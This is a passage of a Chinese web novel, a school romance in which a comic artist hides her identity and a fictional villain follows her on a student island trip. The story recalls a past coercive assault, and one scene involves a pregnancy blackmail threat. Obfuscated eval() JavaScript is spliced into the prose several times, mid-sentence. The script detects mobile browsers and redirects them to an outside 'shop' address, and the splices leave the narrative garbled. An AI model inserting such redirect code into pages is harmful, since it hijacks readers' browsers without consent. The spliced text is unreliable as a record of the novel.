那是她第一次和裴佑哲有什么交集,也是接下来很长一段时间和他唯一的交集。 再往后,就是那次打赌了,输了的她跑去高三向校草当众告白,那是她整个高中期间第二次和裴佑哲说话。 那个赌约并不公平,她被人暗中使坏,他们想看她出丑,想看她被校草拒绝。 明知道自己没什么希望,但她还是去了。 然后就是记忆尤深的那句:“为我画一部漫画,我就做你男朋友。” 那时候,庄森芽记得自己的心情是雀跃的,不是因为裴佑哲给了她一个机会,而是因为她能狠狠地打那些算计她的人的脸了。 “好啊。”庄森芽立刻答应了对方,她当时的想法是势必要让那些故意给她使坏的人再也笑不出来。 等她画完漫画,当真和校草谈恋爱的那一天,看这些人还能说什么? 在那之后,她捡起了一度被自己丢弃的画笔。 但自信心却是没有那么快能捡回来,重新开始画画的那天,她发誓,不打算再让任何身边人知道这件事,也不会让任何人看她的作品,除了和她定下了约定的裴佑哲。 而经过这次没有明确的接受或回绝的告白,庄森芽周围的环境似乎发生了一些细微的改变,那些总是欺负她的人开始离她远远的,也渐渐有人愿意和她成为朋友。 现在想来,她应该是沾了裴佑哲的光。 后来那些日子,她只为裴佑哲一个人画画,裴佑哲不会像齐安淑那样,表面上说着喜欢,却把她的画扔给隔壁班的人,让所有人都冲着那不希望被公开的不成熟画作肆意评判嘲弄。 不,裴佑哲守口如瓶,他密不透风。高一那一年,虽然所有围观了那场告白的人都知道庄森芽会为校草画一部漫画,但从来没有人见过那部漫画长什么样子。 庄森芽虽然也偶尔会把画本放在裴佑哲那里,但从来没有一次,她听说过谁见过那个漫画本的原貌。 他知道她遭受过什么,所以绝对不会再制造类似的伤害。 对于这点,庄森芽是感激他的。 她曾在内心发过誓,裴佑哲是唯一一个可以知道她绘画内容的人。 可这个她发誓要一辈子开诚布公的人,当下问她《灵月十四》是不是她的作品,她却不能回答。 因为这部作品已经牵扯到了太多的东西。 如果她承认了的话,裴佑哲会把它当成是那年那个戛然而止的漫画的续作吗? 更重要的是,如果她承认了的话,只要坐实了画师‘青沐’和庄森芽这个人的联系,裴佑哲很有可能联想到诺特斯和《灵月十四》的关系。 而这是万万不可以的。 她不想、也不能把任何人牵扯到这件事情中来。 如果让裴佑哲知道诺特斯就是《灵月十四》中的人,知道他为了篡改结局而对她纠缠不休,庄森芽担心裴佑哲会为此做出什么制止的举动,这很符合他的性格。 这也是万万不能发生的。 裴佑哲只是个普通人,但诺特斯可是个货真价实的恶毒反派。学生会主席是个遵纪守法的好学生,但《灵月十四》最终Boss的手下可谓血债无数。她绝对不会将裴佑哲置于那样的危险当中去,所以她的回答是: “我已经停笔很久了,佑哲。”庄森芽换上一副坚信无疑的口吻,“你觉得那个《灵月十四》的主人公尤梭的模样很像你,是因为……是因为你本来长得就很帅吧!漫画主人公一般都很帅的,说不定是什么小迷妹照着你的脸画的也有可能,我印象里你不是甚至还有挺多网红图在各种平台上传播吗……” 她胡编乱造了一通,最后顺下来,居然还觉得有点合理。 不过关于网红图的那些并不是说谎,裴佑哲这张脸真的在网络上已经传开很久了,加之他又是百强企业的董事长的儿子,三岁的时候底裤就已经被扒光了。 “……”对面,学生会主席还是一副不太相信的模样,他再度缩短两人之间的空间,已然小于正常的社交距离。 庄森芽微微仰起头来,眼前的男人的表情有些难以分辨。裴佑哲的嘴角在没有表情的时候是微微上扬的,让人捉摸不清他究竟有没有在笑,现在就是这样,那里的弧度几乎可以忽略不计,但又比面无表情多了点柔和,可是看他的眼睛就会发现里面没有什么笑意,矛盾之下,说不清他究竟是怎样的情绪。 有些突兀地,裴佑哲抓住了她的一只手腕,近乎灼热的温度烫在她的皮肤上,庄森芽下意识缩了一下,手臂却纹丝不动,感受到对方把她拧得很紧。 “为什么要隐瞒,你在担心什么?” “我真没……” “还打算矢口否认吗?你刚开学的时候去学生会活动室借用电脑做什么,我只需要调查一下监控录像就能看得一清二楚。” 话说到这个份上,甚至有了一种逼问的架势。 确凿的证据存在于监控室里,庄森芽没什么好反驳的,但她也绝对不会承认一个字。 裴佑哲再度逼近,她只能连连后退,直到后腰碰到了课桌,退无可退。 “你和那个诺特斯认识多久了?” ……果然还是被他注意到了。庄森芽有点绝望地想。 她紧咬着自己的唇,绝不让半点信息从自己的嘴里流露出去。“为什么你要在漫画里面画一个和他那么相似的角色,甚至直接用他本人的名字起名……你和他是什么关系?” 现在他们两人的状态仿佛是在进行一场刑讯逼供,尽管一方的语气是温柔且低沉的,但另一方无疑感受到了巨大的压力。 裴佑哲没有停止‘拷问’,“我去看了《灵月十四》这部漫画,反派在前十章就出场了,那是差不多一年之前连载的,你在那个时候就已经认识这个人了?” 听到这里,她有点反应过来,裴佑哲好像不是猜测出来诺特斯是漫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208477|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 画中的人,而是当他是她的熟人,所以她才会借用他的形象,把他画到了漫画中去。 也难怪,真相有些超出常理,正常人大抵不会往那个方面想。 虽然是误解,但似乎比真相要好,让裴佑哲这么误会下去也不是不行。 “回答我。”裴佑哲抓着她的手,把她拉近自己,两张脸之间只隔着一个拳头的距离,“为什么从刚才开始就一句话不说?” 有了蒙混过关的思路之后,她冷静了一些,“……那我也想问,为什么佑哲你这么在意这些事情?” “……”裴佑哲却是不回答。 就在这个时候,他们所在的教室门口传来了轻微的响动,两人扭过头去看,只见一个身影立在那里。 见到来人的一瞬间,庄森芽吓得一下子推开了裴佑哲。 站在门口的是石玥诗,她神情淡漠地看着教室内的两人。 完了……!她和裴佑哲两人独处一室,刚才还离得那么近,不会被石玥诗误会了什么吧。 “玥诗,我们——”庄森芽刚想解释,就被石玥诗打断了。 “佑哲,我们聊聊吧。”栗发的女生目光落在裴佑哲身上,像当一旁的她不存在一样,“我可能怀孕了。” 教室的窗户没关,一股萧瑟的风吹动了窗帘,庄森芽感觉自己的身体在略低的气温中凝固住了,她瞪大了眼睛,像是因为冻僵了而合不上,嘴巴也微张着,灌入了一股凛冽的凉气。 她刚才听到了什么……?石玥诗说她……怀孕了!? 谁、谁的?难道是裴佑哲的? 她突然想起来,一个月之前,在一场外联部的会议上,部长段子良把所有人的手机都收了上去,但凡谁的手机响起来,就要当众接电话或者把消息念出来。 而不巧,当时,裴佑哲的手机就响了。那是石玥诗给他发来的消息,内容是:「你到底怎么想我们之前的关系。」 当时裴佑哲针对这段话的解释是:他冒雨生病那天,石玥诗赶来照顾他。后来他昏迷过去了,醒来之后石玥诗对他说,他做了一些事情。 当时庄森芽不理解这句话,可是现在回想起来,联想当下的情境,她好像知道是怎么回事了。 不过,真的吗?真的是她想的那样吗?难道裴佑哲和石玥诗真的…… 如果是真的的话,那……现在,怎么看都不是她能继续听下去的场合了吧?! 当下,裴佑哲的表情可以说无比凝重,而石玥诗的也没好到哪去,怎么看一场血雨腥风就要来了。 上一刻庄森芽还在为石玥诗终于肯跟裴佑哲说话而感到庆贺,下一刻她只想找个地缝钻进去,从这两个当事人眼前消失。然而石玥诗像是不打算放跑任何一个目击者,反手关上了门,站在唯一的逃生出口,栗色的空气刘海下是淡泊的脸,她没有一点让开的意思。 庄森芽往门口挪动的脚步瞬间就停下了,改为向角落转移。她蹲下来,像个怂包一样躲在了桌椅之间,竭尽可能把自己的存在感一降再降。 南无阿弥陀佛不要波及她,南无阿弥陀佛不要波及她…… 65. 高手过招,非死即伤 另一边,裴佑哲面色冷峻地盯着门口的人,音色镇定,“证据。” 石玥诗抱着自己,双臂交叠在身前,她有种和裴佑哲如出一辙的镇静气场,此刻丝毫不输对方,“你觉得我是在骗人吗?” “……” “医务室那天,我录像了,佑哲。” 裴佑哲脸色有些难看,“你到底想干什么?” “我的愿望你一直都很清楚。” “我也明确回应了你,我不会和你交往。”他严词拒绝。 两人之间无形的气场在彼此碰撞,躲在桌子后面的庄森芽甚至好像感受到了空气骤缩的压力,她越来越紧张,越紧张越想看,此刻已经半个头露出来,像个土拨鼠一样观摩这场没有硝烟的较量。 不过,越听她越觉得弄不明白。裴佑哲说他不会和石玥诗处对象,那之前又为什么还要拜托庄森芽替他跑腿,给石玥诗送礼物? 又为什么在看到石玥诗和乐队主唱同台共舞的时候,会生气到连后面的表演都不看了,直接离席而去? 这一切不都是在乎的表现吗?她真的搞不清楚裴佑哲在想什么……难道是因为自己段位太低了,所以才看不懂高手的布局? 听到裴佑哲的话,石玥诗轻笑了一声,眼里却没有几分笑意,对方的拒绝仿佛在她耳中是什么好笑的话,不仅对她造成不了任何的伤害,反而像是无足轻重的挑衅。 文艺部副部长换了个姿势,常年舞蹈的身姿优美无比,单纯只是斜靠在门框上都赏心悦目。然而,她态度却是不友善的,音调比刚才拔高几许,有种寻衅和威胁的意味,“别逼我把录像交给那个人,佑哲。” 对面,裴佑哲的脸瞬间垮了下来。 “你喜欢她对吧?”石玥诗说,“让她好好看看她的好学长都做了什么。” 庄森芽紧张地来回盯着两个人,对于石玥诗口中的人,她有点概念。从雏鸟周那时开始,她就隐约知道裴佑哲喜欢着什么人,那个人就在庄森芽与他共同所在的队伍中。裴佑哲几次都暗示过,但从来没有公之于众。 原来石玥诗也知道这个人…… “你明知道我有喜欢的人。”裴佑哲脸色阴沉地说,“为什么还要做这些事情。” “因为我不在乎。”石玥诗声音轻松,态度带着一点傲然,“我不在乎你喜欢谁,佑哲。” “……” “喜欢只是一种轻浮的情绪,责任才是让两个人在一起的关键。”石玥诗露出一个有些残忍的笑容,“现在,你能陪我回家了吗?我爸爸想见你一面。” 后来,裴佑哲没有再说什么。他的脸色一直很差,就像一场游戏的输家。 无言地对峙了半晌,他终是驱动脚步离开了教室,而石玥诗紧随其后,离开房间前,她脸上最终浮现的是胜利的高傲表情。 两人离开了这间狭小的教室,像是把庄森芽整个人都遗忘了似的,一句话都没对她说过,一个眼神也都未曾投来。 他们走后,庄森芽也劫后余生似的从桌子底下钻出来。 这两个人心也太大了,今天躲在自己的如果不是自己,而是其他什么人,那些交流绝对会迅雷不及掩耳传出去,在校园内掀起一阵腥风血雨。 不过,她是个大好人,所以绝对不会把今天所见的内容说出去,虽然憋着很难受,但这点小小的隐瞒她还是能做到的。 再往后几天,庄森芽都没有再见到过两个人了。 石玥诗依然每天都不回宿舍,听说她也几乎不去上课。去年的时候她考试成绩很优异,留级完全是个人选择,所以当下这一年对她来说完全没有任何的学业负担,只需要在考试之前把去年的知识捡一捡,准备充足,轻松参与几场测验就结束了,而其他时间对她来说基本等同于大段的自由。 裴佑哲这些天也不怎么参与学生会的事务,他们两人就像人间蒸发了一样,在校园各处都瞧不见任何一方的影子。 虽然往后的一段时间里,庄森芽并没有怎么特别关注这两个人的感情,但她知道,他们肯定在某处来回拉扯。 她总有种感觉,直到学期期末,这两个人也分不出胜负。 ## 日子过得很快,转眼就来到了万物休眠的十一月份。 期间也没发生什么特别的,她依然三点一线地在教学楼、宿舍和食堂来回跑,被功课和赶稿这两件事情挤得几乎没有自由时间。 唯一发生改变的,就是《灵月十四》这部漫画作品的热度。 自从上次动漫部和绘画部决赛的视频在网上放出之后,那个冠军选手的宣言把她的漫画带火了一把,之后热度不但没有衰减下去,反而节节升高。 这让庄森芽既高兴又惶恐,她其实早就不指望这部漫画能给她赚钱了,现在唯一的期望就是好好完结它,再把诺特斯这尊大佛送走。 但漫画小火了一把,就代表着有更多人知道它,这无疑给她带来一些无形的压力,还有一些不可测的未知风险。 她只希望在完结之前不要发生什么意外。 十一月,时间来到了学期的中间,学生会组织了一场期中长途旅行,要去靠海的一个小海岛上待上三天两夜。 庄森芽报名了,难得的公费旅游,不去白不去,而且她也需要将自己从最近课业和创作的压力之中解脱出来,好好休养生息一下。 十一月的首日,学生们坐上了去往海边的高铁。 学生会的人几乎承包了半个车厢,但为了其他乘客的体验,所有人都保持着相对程度的安静。 庄森芽和自己的舍友兼外联部同僚汪素文坐在一起,窗外闪过的是山川和田野的景色,远离城市化的区域,一种沁人心脾的自由直闯心田。 她和自己的同伴分享着零食,在惬意中等待高铁将他们送往远方的小岛。 整个车厢都充满了欢愉的气氛,庄森芽听到后座的人在哼着愉快的小曲,手指在窗沿上打着轻快的节拍,被这种氛围感染,她也跟着小声地哼了两句。 这是个有点熟悉的旋律,她能唱出接下来的旋律,却一时想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208478|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不起在哪里听过。 一只曲子结束,后座上的人安静了下来。庄森芽思考着后面的人会是谁,她猜测应该是陌生的旅客,因为学生会预定的座位到她这一排刚好截止,她和汪素文两人是这整支学生旅游部队的末尾。 不到片刻,后方的歌声又响了起来。这次换了个曲子,比刚才那只更绵长一点,但整体的旋律还是轻快的。 只是这回,后座上的人没能唱完整首,庄森芽斜后方的人开口说了些什么,打断了他,那是一种陌生的语言。 她正后方的人回复了一句,声音是缓慢且惬意的,尾音带着一个上挑的语气词。 听到这声音的一刹那,她骤然绷紧了身体。 这个声音……怎么听起来那么像诺特斯? 唱歌的时候没听出来,因为声音和平时说话不太一样,但是那抑扬顿挫的语调,她可是再熟悉不过。 不会这么巧吧。 后座上的两人还在交流,庄森芽朝左扭头,偷偷在玻璃和座椅的缝隙间往后看。首先映入眼帘的是一条搭在窗沿上的手臂,亚麻条纹的布料隐约勾勒出放松下来的肌肉形状,一只骨节分明的手垂在沿下,皮肤是异域的暗色。 绝对是他!这个肤色与质感,还有手部的线条轮廓…… 她并不是想要刻意去记这些,只是公益演出前一天在酒店的经历依然历历在目,恐惧放大了感官,视觉所见的一切都深刻地烙印在脑袋里,包括那双一度轻抚脸庞又捏紧下颚的手,也同样是这只作恶多端的手将她压制在床上。 紧张让她屏息凝神,不由想着,他为什么在这里,难道是在跟踪她……? 车厢里人多眼杂,但同样给了她对峙的勇气,庄森芽蹭一下子站起来,直接转了个身,面朝后座。 后方的座位上坐着两个男人,一个黑发一个金发,同样的是都戴着鸭舌帽和墨镜。很明显,他们其中一个是诺特斯,另一个看模样大约是乐队的鼓手佩吉。 两人感受到从前方投下的阴影,均停下了交谈,朝庄森芽的方向看过来。六目相对,空气安静下来,一时间谁也没有说话。 虽然看不到对方的眼睛,但庄森芽能够感受到诺特斯的惊讶,就仿佛没预料到会在这里见到她一样。 演得真好。她在心理评价。 “你怎么在这?”她问黑发的男人。 金发的鼓手佩吉看到庄森芽,撞了一下诺特斯的肩膀,指着她,用希腊语说了些什么。 诺特斯朝他的鼓手同伴耸了耸肩,看上去是表达迷茫的意思,而后,他冲前座的人开口,“好巧啊。” “你在这里做什么?”庄森芽问他。 “如你所见,度假。” “信你的话就有鬼了。” 他们的交流引来了周围学生们的视线,坐在庄森芽身边的汪素文也好奇地向后探头,但是因为诺特斯和佩吉两人都包裹得很严实,再者诺特斯说的又是汉语,谁也没把他们和那个前一阵去上茂哈里森大学开演唱会的希腊乐队联系在一起。 66. 同路 自演出结束到现在已经过去了一个多月,这段时间里,就像诺特斯上次分离时和她说的一样,他大概是忙到没有时间再来找她。 庄森芽的手机一直很安静,既然诺特斯不发话,她也懒得去问他在做什么。可偶尔,她也会抱怨,这人居然一条汇报现状的消息都不发,就这么失踪了一个多月。 虽然当初说有和彼此相关的事情再进行报备、平时没事不要乱发信息的人是她,但她依然认为诺特斯的做法很有问题,有大问题。 这可能就是,看不顺眼的人,怎么做怎么错吧。 当下,男人看起来和一个月之前不太一样,她犹记得最后那两天,他的情绪似乎一直是有些低沉的,就像是用毯子包住了一团火,有什么东西在他的体内熊熊燃烧,但是他把它们控制住了,只留一个冷淡的表面,曾经属于他的戏谑、轻浮都一度消失不见。 但现在,那些东西好像又回到了他的身上。仿佛这一个月的巡回演出过后,他已经洗去了之前的某种沉重的东西,又变得轻快、散漫。 诺特斯将上身前倾,靠近前座的她,把墨镜抬高,露出那双金棕色的眼睛来,他小声地问道:“我听说漫画好像有点出名了,这是好事还是坏事?” “你别……!”庄森芽惊得寒毛倒立,想也没想,就伸手捂住了对方的嘴。 这周围都是人,更何况还有学生会的人,要是被其中一个听见了,都有可能联想到《灵月十四》上去,再往下随便挖一挖,她的这点小秘密就全都兜不住了。 诺特斯说话不过脑子的吗?居然当众问她这种问题。 刚想斥责他,可被掌心传来的灼热呼吸分了心,她一下子收回手,就像被烫了一样。 诺特斯舔了一下嘴唇,动作似乎是下意识,脸上的表情也是无辜的,看不出有什么其他的用意。但是看着这一幕,庄森芽却有些心猿意马。 盯着那双嘴唇,仿佛还能想起酒店那天,他在她唇上留下的触觉。那很矛盾,既柔软,又带着攻击性;动作明明感觉不是那么用力,可带来的却是窒息。 脑海里的所想令她感到紧张,心跳也难以抑制地加快了。 那天的事情在脑海里怎么也挥之不去。 她无疑是被对方非礼了,但无处说理申冤,而且也无法用道德绑架他,因为这人天生就是个站在道德背面的反派,没办法讲道理。 那天,在绝对力量的差距之下,他想强制和她做什么,她都无法反抗。面对这样的人,也没有唤起对方良心的可能性,只能小心翼翼,如履薄冰,用最后一丝不屈的顽强喊着要和他同归于尽,最终才保住了自己的清白。 现在还要装出一副没事人的坚强模样和对方交谈,只因为他们表面上起码是‘共事’的关系,还有一部漫画的约定横在两人之间,维系着某种微妙又脆弱的平衡。 两人谁也不提,仿佛就可以当酒店那天的事情没发生过,可只有庄森芽自己知道那一幕在她心里留下了多大的阴影。知道诺特斯有可能会对她做那种事情,这种想法一旦存在,就再也甩不开了。每和对方说一句话,脑袋里思考的就是下一秒他会不会对她做什么,弄得整个人的神经都很紧绷。 “……手机上说。”碍于周围人都在听着,加之她自己的状态也有点不对劲,于是小声留下这么一句话,嗖一下钻回了自己的座位里。 通讯交流,而非当面对峙,这对她而言是一个既安全又能冷静思考的沟通方式。 在通讯软件上找到对方,噼里啪啦地打了一段字,她强调说:「不要,当众,提漫画的事。」 身后响起了消息提示的声音,紧接着诺特斯很快回信过来:「好好,下次不说了。」 庄森芽见对方是退让一步的态度,火气消下去了一些:「你不是在巡演吗?为什么会和我出现在同一班高铁上。」 诺特斯:「巡演结束了,乐队的其他成员都回国了,我和佩布留下来玩几天。」 ……庄森芽隐约记得那个金发鼓手好像不叫佩布。 她又发道:「这一个月你除了演出没做别的吧?」 诺特斯:「还有吃饭睡觉。」 庄森芽感觉有点无语:「……这些不算。」 对面隔了一阵才回消息:「哦对,我还去见了我的科学家朋友一面。」 她困惑地问:「什么科学家?」 诺特斯:「就是告诉我我到底是谁,以及怎么找到《灵月十四》的作者的那个科学家。」 庄森芽看到这个回答,隐隐觉得诺特斯是有了什么小动作。她还记得男人曾经对她说过,他最初之所以能顺利找到她,都是拜某个科学家所赐。这件事情被她遗忘了很久,而现如今又被提起,让她心底有些不安。 原本以为,这个世界上知道诺特斯真实身份的人就只有自己一个,可现在想来不尽然。 那个科学家的事她一概不知,会不会成为什么隐患? 庄森芽问:「你找这人要干什么?」 诺特斯答:「有些事情想跟她确认一下。」 ‘她’……原来是个女科学家,她承认自己有点先入为主了。不过,到底是什么人?这个科学家一定知道《灵月十四》的画师是谁,所以才会让诺特斯过来找她。 可就像庄森芽一直反复说过的,她这辈子就没认识过什么科学家。 她追问:「你要跟她确认什么事?」 诺特斯故弄玄虚:「这个……等时机成熟了我就告诉你。」 庄森芽:「现在说。」 诺特斯不回信了。 余光瞥见后座上的人站了起来,在鼓手佩吉面前路过,似乎是要去餐车。 果然不能相信这家伙会老实本分地待着,这一个月他到底又搞了什么事? 科学家、漫画……她毫无头绪。 又在手机上给诺特斯发了几条消息,可男人不再就这件事回复了,反而转移话题,问她要不要吃点什么。 庄森芽没理他,有点郁闷地靠在窗户上,盯着外面顿时变得黯然失色的景色。说来很奇怪,自己身边只要出现这个男人,其他东西好像就引不起她的注意力了,她认定这是因为对方的存在太过危险,不得不让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208479|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她拿出十足的精力去应对。 大约五分钟之后,诺特斯端着两碗热气腾腾的泡面走了回来,一碗给佩吉,一碗给自己。 香喷喷的味道从后座上传来,闹得她嘴里忍不住开始分泌唾液,肚子也发出未满的抗议。 她刚才不是没吃过东西,可是泡面实在太香了。那家伙还真是入乡随俗,她以为他顶多会吃点干巴巴的面包什么的。 不过遥想起诺特斯很久之前闯进她家胡吃海喝的那段过去,她早就该想到,这个吃货的适应性应该挺强的。 庄森芽咽了口口水,把自己的背包从行李架上拿下来,愤愤然敞开,将自己带的小零食都翻了出来,找了包味道最大的辣条,敞开,开始像仓鼠一样忙不迭往自己嘴里送。 她不屑地想:香不死你。 这场气味大战拉开了序幕,参赛者毫不留情,列车上的乘客无一幸免。 看着不停往自己嘴里塞零食的庄森芽,一旁的汪素文有些担忧,“森芽……你没事吧?” 她的小同伴可能以为她受了什么刺激,所以开始暴饮暴食。 没错,她就是受到了刺激。 诺特斯一出现,她的情绪就开始不稳定,这怎么想都是对方的错。 路途的后半程,她把自己撑得有点反胃,肚子也圆滚滚地鼓了起来,原本留着后几天吃的零食全被她塞进了胃里。 她偷偷透过玻璃的反射往后座看,却发现诺特斯早就没有在吃任何东西了,男人把脑袋往窗户上一歪,似乎是在睡觉。 ……结果就只有她一个人在进行这场食物大战。 简直可恶! 胃部涨得有点难受,她不由得开始后悔。 ……在这种事情上较什么真啊。 又过了一个小时,列车停了下来,乘客们到达了终点站。 大巴已经在站外的停车场等候,学生们先是分组集合,然后依次登上汽车。 过程当中,庄森芽看到了诺特斯的身影。男人和金发佩吉两个人拿着导览地图在研究着什么,而后叫来了一辆车,坐上车悠悠然走了。 盯着车辆远去的背影,庄森芽狐疑:难道他真的是来旅游的…… 学生们坐上大巴,等待他们的又是一个多小时的路程。车辆的颠簸下,庄森芽有点昏昏欲睡,明明刚才在高铁上还很精神,但是远离了那个男人之后,加之刚才往肚子里塞了一堆东西,困意开始叫嚣着找上了门来。 她的意识在明暗之间沉浮,迷迷糊糊。 然而感觉自己也没有浅眠多久,大巴却一个急刹停了下来,目的地到了。 下了车,远方遥遥可见一座海岛,那就是他们最终要去的地方。海岛是著名的旅游圣地,现在不是旺季,所以人不是很多。 等待他们的将是干净的沙滩,热闹的篝火晚会,一望无际的大海,所有都将是那么惬意。 和同学们一起上了渡轮,吹着清凉的海风,有海鸥在伴随他们同行。 一切都很美好。 如果不是在船板上看到了正在晒太阳的诺特斯的话。 67. 甩不掉了 一下子阴霾就涌了上来,庄森芽只觉得先前那些朦朦胧胧的美满意境一下子就消散了,她当即掏出手机用文字质问:「你怎么也跟来了!?」 诺特斯戴着墨镜,躺在排列在甲板上的沙滩椅上,从裤子口袋里掏出嗡嗡作响的手机,单手在上面打字:「可能因为我们目的地是一样的。」 庄森芽感觉好不容易酝酿出来的好心情都消失不见了:「你故意的?」 诺特斯:「不,地点是佩布选的。只能说我们有缘分吧。」 那个金发鼓手叫佩吉吧!庄森芽在心里吐槽。虽然名字叫得对不对都和她没什么关系,但她就是习惯没事找事呲诺特斯两句。 庄森芽继续给他打字,提醒对方他们曾经有过的约定:「不管你是不是真的来旅游,还是以前的规矩,没有我的允许不准搭话,还有最好别让人认出来你是谁。」 诺特斯反驳:「刚才在高铁上先朝我搭话的是你吧?」 庄森芽气急:「还不是你出现在我周围却没通知我!?」 诺特斯:「我不知道和你在同一趟车上欸。」 庄森芽:「你觉得我相信吗。」 沙滩椅上,男人的身体耸动,似乎是笑了,消息紧接着发来:「怎么了,你很希望是我在跟踪你?」 听听这说的是人话吗,栽赃他倒是有一手。 庄森芽一时没想好怎么讽刺,就见对面又发来了消息。 诺特斯:「还是说,你很希望我时刻留意你的事情?」 她感觉自己的太阳穴在跳,那大多是被气的。 这家伙……好想把他扔到海里喂鱼,让他这张恼人的嘴闭上——不对,让他的手被鱼啃得半个字都再也敲不出来。 她在自己的手机上奋笔疾书:「免了,把你可怜的注意力留给别人吧。」 诺特斯给她回了一个笑脸,其他的什么也没说,看起来人如其表情,有种开心的情绪在里面。 好了,现在他心情好了,可她却不开心了。 明明是很期待的海岛旅游,居然地方都还没到,海里的水都还没碰着,现实就给了她一个开幕雷击。 接下来这几天,她不会天天都要见到这个浑身散发着危险气息的烦人家伙吧? 庄森芽靠在护栏上,有点郁闷地看着湛蓝的海水。 这样提心吊胆的日子什么是个头啊…… 她恨自己是个菜鸡,不能像那些大神一样每天一睁眼就是画画,不需要任何的休息。她不能那样,那样是会死的,只能画一阵歇一阵,而且效率还不怎么高。 结果就是预计还有两个月,她才能把《灵月十四》画完。没办法再提速,这已经是她现在的水平能做到的极限了,再快精神会崩溃的。而且也不想砍剧情,不然衔接得有问题,读者骂声一片,这多得不偿失,不是说把诺特斯送走了她就封笔了,将来她还想继续在这行干下去呢。 算算时间的话,两个月后,差不多也快期末考试了,《灵月十四》的结局大抵也是在那个时候。两件事情撞在一起,她只希望能把两者都顺利地解决…… 渡轮在海面上漂浮着,把一群兴致勃勃的学生们载到了海岛之上。 只是一座风景秀丽的小岛,没有巍峨的山岩,只有铺盖在岛上各处的绿植。上了岛就是人工搭建的迎宾中心,再往里走就是一条栈桥,末端裂成了许多条小径,通往海岛上的各处。 其中一处通往大型的聚会场地,里面有露天KTV,篝火晚会预留地,烧烤用具,以及数不清的野营桌,那便是他们在夜晚的主要活动场所。 栈桥通往的另一个方向上,有建立在海平面上的各色房屋,红色的、蓝色的,屋顶是防雨的斜顶,房屋下方是一根根插入水面下的承重柱,精巧的房子在造型上各有千秋,还有许多透明的玻璃房,以供各种不同需求的旅客预定入住。 学生会预定的木屋一般都是两人一间,在旅行开始之前就已经分派好了每个人的房间。 庄森芽依旧没什么意外地和自己的舍友汪素文住在一起,她们找到了自己的玫红色小屋,走进去,看到房屋里点着橘黄色的灯,十分温馨。 两人商量好了各自的洗漱时间,合理安排了一番浴室,然后就开始收拾起来。把繁重的行李都放下,将必需品从里面掏出来,换上更加舒适保暖的衣物,又休息了一番,这时候时间也差不多来到了晚上。 群里在招呼着同学们出来吃晚饭,庄森芽和汪素文两人休息够了,摆脱了白日奔波的疲惫,而后一身轻装离开了木屋。 烧烤的香气远远传来,活动负责人已经在海边上架起了炭火,一批批向饥肠辘辘的学生们提供无限量的烤串。 外联部的人看到了庄森芽和汪素文两人,伸手招呼她们过去。 来到簇拥着外联部成员的圆桌之上,熟悉的身影均一一到场。 部长段子良穿着一身松垮的休闲服,看起来是真丝材质的,有点单薄,但她好像一点也不冷,左手抓着厚厚一把串,右手拿出一支蘑菇串大吃特吃,连招呼自家成员们的功夫都没有。 在她一旁坐着副部长冯月客,相较部长,他的吃法就斯文了许多,先是把拿来的烤串都放在盘子上,又把串起来的肉和蔬菜一根根拆到另一个盘子里,这才慢条斯理吃起来。 “让一让让一让!”这时候,费洛抓着一大把滋滋作响的肉串跑了过来,一下子把它们堆在圆桌中心的陶瓷盘子上,“还想吃什么?我再去拿!” 桌旁有个男生两眼放光,嘴里都在流口水,但嘴上却说:“怎么拿这么多,你没被追着打吗?” 学生们的烧烤供应链很有秩序,每个部门都有一个摊位,自己出人负责轮流烧烤,再把烤好的东西运送到餐桌上去。 可是费洛刚刚拿来的这个数量,怎么看他都是去其他部门的摊位顺手牵羊了。 浅黄头发的男生咧嘴一笑,露出洁白的虎牙,“你哥我人缘好,都抢着往我手上送。” 段子良往嘴里塞了一口烤羊肉,口齿不清地说:“得了吧,我看一会就要有人找上门来了。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14210285|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “快告诉我你们还想吃什么。”看费洛的架势,已经有了要再次赶赴‘战场’的打算,他目光落在庄森芽的身侧,眼睛亮亮的,“素文,你还想来点什么吗?” 庄森芽侧目看了自己的舍友一眼,后者笑得可可爱爱。 “不用了,费洛学长,我跟大家一起吃就好。” “就没有什么特别想吃的?”费洛坚持。 